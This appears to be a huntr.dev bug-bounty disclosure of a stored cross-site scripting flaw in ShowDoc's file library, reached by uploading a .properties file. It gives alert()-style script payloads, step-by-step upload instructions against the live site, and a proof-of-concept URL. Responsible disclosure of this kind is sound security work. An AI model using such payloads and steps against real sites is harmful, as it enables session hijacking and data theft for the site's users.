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huntrSampritdas8462CD8A7-B1A9-4E93-AF71-B56BA1D7AD4E
HistoryMar 14, 2022 - 2:24 p.m.

Stored XSS viva .properties file upload

2022-03-1414:24:13
sampritdas8
www.huntr.dev
10

0.001 Low

EPSS

Percentile

21.6%

Description

The application allows .properties files to upload which lead to stored XSS

Proof of Concept

1.First, open your text file/notepad and paste the below payload and save it as XSS.properties:

<html>

<script>alert(1337)</script>

<script>alert(document.domain)</script>

<script>alert(document.location)</script>

<script>alert(‘XSS_by_Samprit Das’)</script>

</html>

2.Then go to https://www.showdoc.com.cn/ and login with your account.

3.Afther that navigate to file library (https://www.showdoc.com.cn/attachment/index)

4.In the File Library page, click the Upload button and choose the XSS.properties

5.After uploading the file, click on the check button to open that file in a new tab.

PoC URL

https://img.showdoc.cc/622f4eac577a2_622f4eac5779c.properties?e=1647271151&token=-YdeH6WvESHZKz-yUzWjO-uVV6A7oVrCN3UXi48F:v4d5wUVXBnlauueh9ouLkifIL1w=

Impact

This allows attackers to execute malicious scripts in the user’s browser and it can lead to session hijacking, sensitive data exposure, and worse.

0.001 Low

EPSS

Percentile

21.6%

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